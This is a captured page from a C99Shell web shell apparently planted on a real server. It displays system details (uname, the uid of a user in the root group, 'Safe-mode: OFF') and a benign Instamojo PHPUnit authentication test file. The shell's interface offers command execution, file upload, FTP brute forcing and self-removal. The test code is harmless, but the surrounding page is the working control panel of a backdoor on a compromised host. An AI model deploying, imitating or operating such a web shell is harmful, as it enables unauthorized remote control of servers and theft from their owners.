!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/instamojo/instamojo-php/tests/unit/   drwxr-xr-x
Free 29.12 GB of 117.98 GB (24.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AuthTest.php (1.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

use PHPUnit\Framework\TestCase;

class 
AuthTest extends TestCase
{
    public function 
test_application_based_authentication()
    {
        
$instaobj Instamojo\Instamojo::init('app',[
            
"client_id" => $_ENV["CLIENT_ID"],
            
"client_secret" => $_ENV["CLIENT_SECRET"]
        ],
true);

        
$this->assertInstanceOf(Instamojo\Instamojo::class,$instaobj);

    }

    public function 
test_throw_Exception_on_worng_client_id() {

        
$this->expectException(\Instamojo\Exceptions\AuthenticationException::class);

        
$instaobj Instamojo\Instamojo::init('app',[
            
"client_id" => "ABC",
            
"client_secret" => $_ENV["CLIENT_SECRET"]
        ],
true);

    } 


    public function 
test_throw_Exception_on_worng_client_secret() {
        
        
$this->expectException(\Instamojo\Exceptions\AuthenticationException::class);
        
        
$instaobj Instamojo\Instamojo::init('app',[
            
"client_id" => $_ENV["CLIENT_ID"],
            
"client_secret" => "ABC"
        
],true);

    }

    public function 
test_throw_Exception_user_based_authentication_on_missing_user_name() {
        
        
$this->expectException(\Instamojo\Exceptions\MissingParameterException::class);
        
        
$instaobj Instamojo\Instamojo::init('user',[
            
"client_id" => $_ENV["CLIENT_ID"],
            
"client_secret" => "ABC",
            
"password" => "XXXX"
        
],true);

    }

    public function 
test_throw_Exception_user_based_authentication_on_missing_password() {
        
        
$this->expectException(\Instamojo\Exceptions\MissingParameterException::class);
        
        
$instaobj Instamojo\Instamojo::init('user',[
            
"client_id" => $_ENV["CLIENT_ID"],
            
"client_secret" => "ABC",
            
"username" => "test_user"
        
],true);

    }

}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--